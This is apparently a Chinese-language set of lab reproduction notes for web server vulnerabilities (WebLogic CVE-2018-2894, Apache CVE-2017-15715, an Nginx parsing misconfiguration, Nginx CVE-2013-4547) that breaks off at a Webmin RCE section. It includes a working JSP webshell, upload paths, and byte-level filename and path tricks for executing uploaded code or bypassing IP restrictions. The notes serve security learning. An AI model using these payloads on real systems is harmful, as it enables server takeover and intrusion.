漏洞复现

OpenSSH ProxyCommand命令注入漏洞(CVE-2023-51385)–>复现解析–>i春秋冬季赛题misc–>modules

文件上传

Weblogic 任意文件上传漏洞(CVE-2018-2894)

漏洞简介

CVE-2018-2894漏洞存在于Oracle WebLogic Server的Web服务测试页面(Web Service Test Page)中。这个页面允许用户测试Web服务的功能,但在某些版本中,它包含了一个未经授权的文件上传功能。攻击者可以利用这个漏洞,上传恶意的JSP或其他可执行文件,并在服务器上执行这些文件,从而获得服务器的完全控制权。

受影响的WebLogic Server版本包括10.3.6.0、12.1.3.0、12.2.1.2和12.2.1.3。漏洞影响的页面路径为/ws_utc/begin.do和/ws_utc/config.do。

漏洞原理

攻击者通过访问 /ws_utc/config.do 或类似的接口获取上传接口的位置。

  • URL 示例:

    1
    http://<target>:7001/ws_utc/resources/filerequest

构造恶意请求上传文件:

  • 构造 HTTP POST 请求,将恶意文件(如 WebShell)上传到服务器的 resources 目录或其他可控路径。

执行恶意文件:

  • 上传成功后,访问上传文件的路径,触发恶意代码执行,进而控制服务器。

漏洞复现

环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面:

image-20250123233805921

执行docker compose logs | grep password可查看管理员密码,管理员用户名为weblogic,密码为 OUJAioA1

image-20250123234029307

登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:

image-20250123234352462

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

image-20250123234518909

然后点击安全 -> 增加,然后上传webshell.jsp:

文件内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<title>执行 id 命令</title>
</head>
<body>
<h1>执行 id 命令</h1>
<h2>结果:</h2>
<pre>
<%
try {
// 执行系统命令 id
Process process = Runtime.getRuntime().exec("id");
java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
String line;
// 将命令输出逐行读取并显示在页面上
while ((line = reader.readLine()) != null) {
out.println(line);
}
reader.close();
} catch (Exception e) {
out.println("执行命令时出错:" + e.getMessage());
}
%>
</pre>
</body>
</html>

image-20250123234707864

上传后,查看返回的数据包,其中有时间戳:

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell。

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

漏洞简介

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。

其2.4.0~2.4.29版本中存在一个解析漏洞。

在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

漏洞原理

请求构造

  • 攻击者通过构造一个带有特殊字符的 URL,例如 %0A(换行符)或 %0D(回车符)。
  • 这些字符会干扰 Apache 的路径解析逻辑。

路径校验绕过

  • Apache 会在处理请求时误认为路径被截断,导致部分路径被忽略或错误解析,从而绕过安全策略。

文件访问

  • 如果服务器上存在路径访问限制(如通过 .htaccess 文件或其他安全配置禁止访问某些敏感目录或文件),攻击者可以利用该漏洞绕过限制并访问敏感资源,例如配置文件或代码文件。

漏洞复现

首先访问一下8080端口查看首页面:

image-20250127171118577

提示我们上传一个文件,这里上传一下 phpinfo.php文件看一下:

提示“bad file”,上传失败,说明大概率被拦截了。

打开burpsuit抓包之后,在1.php后面插入一个\x0A(换行的十六进制表示)(注意,不能是\x0D\x0A(回车的十六进制表示),只能是一个\x0A),不再拦截:

image-20250127172439231

image-20250127172530182

访问 /1.php%0a,显示页面如下:

image-20250127172717175

复现成功!

Nginx 解析漏洞

漏洞简介

版本信息:

  • Nginx 1.x 最新版
  • PHP 7.x最新版

由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

漏洞原理

正则匹配规则过于宽松

  • Nginx 配置中,location ~ \.php$ 会将所有以 .php 结尾的路径交给 PHP-FPM,而不管文件是否真实存在。

PHP-FPM 配置不严谨

  • PHP-FPM 接收到路径后直接执行文件,而不检查其文件类型或后缀。

上传目录未隔离

  • 上传目录与 PHP 文件所在的目录未分开,导致攻击者可以上传伪装为图片的恶意代码。

漏洞复现

首先访问 /uploadfiles/nginx.png,查看页面如下:

image-20250127204408548

然后访问 /uploadfiles/nginx.png/.php,即可被当做php代码执行:

image-20250127204617932

我们来看一看正常情况下的上传文件的页面 /index.php,显示只能上传图片文件:

image-20250127204904913

发现我们正常情况下是不能上传php文件的。

漏洞复现成功!

Nginx 文件名逻辑漏洞(CVE-2013-4547)

漏洞简介

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞原理

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:

1
2
3
4
5
6
7
8
location ~ \.php$ {
include fastcgi_params;

fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}

正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。

而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。

fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。

所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。

再举个例子,比如很多网站限制了允许访问后台的IP:

1
2
3
4
location /admin/ {
allow 127.0.0.1;
deny all;
}

我们可以请求如下URI:/test[0x20]/../admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/../admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫“test ”:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

漏洞复现

访问 8080端口,进入上传首页:

image-20250129202723470

尝试上传一个php文件,发现被过滤了:

image-20250129202847913

那么我们上传一个png文件,然后抓包,注意添加文件名后面的空格:

image-20250129203053133

访问http://your-ip:8080/uploadfiles/phpinfo.png[0x20][0x00].php,即可发现PHP已被解析(先写成phpinfo.png.php的形式,然后抓包使用hex进行添加\x20\x00):

image-20250129203437154

放包,发现已经被成功解析:

image-20250129203658725

复现完成!

RCE

Webmin远程命令执行漏洞

漏洞简介

Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。

漏洞复现

首先访问靶场环境https://127.0.0.1:10000,出现首页:

image-20250226103726780

访问https://127.0.0.1:10000/password_change.cgi

image-20250226103843678

我这里使用hackbar直接修改数据(也可以直接使用burpsuit修改):

image-20250226104859111